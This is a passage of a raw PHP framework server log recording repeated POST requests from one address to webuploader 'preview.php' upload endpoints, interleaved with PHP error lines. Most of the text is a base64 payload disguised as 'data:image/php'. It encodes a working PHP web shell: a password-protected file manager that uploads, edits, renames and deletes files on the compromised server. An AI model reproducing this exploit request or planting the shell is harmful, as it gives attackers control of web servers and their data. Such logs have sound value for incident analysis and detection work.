Il07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'lib' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:04:24+08:00 ] 119.42.146.234 POST 59.110.137.245/admin/lib/webuploader/0.1.5/server/preview.php [运行时间:0.002691s] [吞吐率:371.60req/s] [内存消耗:138.54kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'admin', 2 => 'lib', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gI' => '', 'webuploader' => '0.1.5', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:04:25+08:00 ] 119.42.146.234 POST 59.110.137.245/Public/lib/webuploader/0.1.5/server/preview.php [运行时间:0.002899s] [吞吐率:344.93req/s] [内存消耗:196.79kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Public', 2 => 'lib', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZ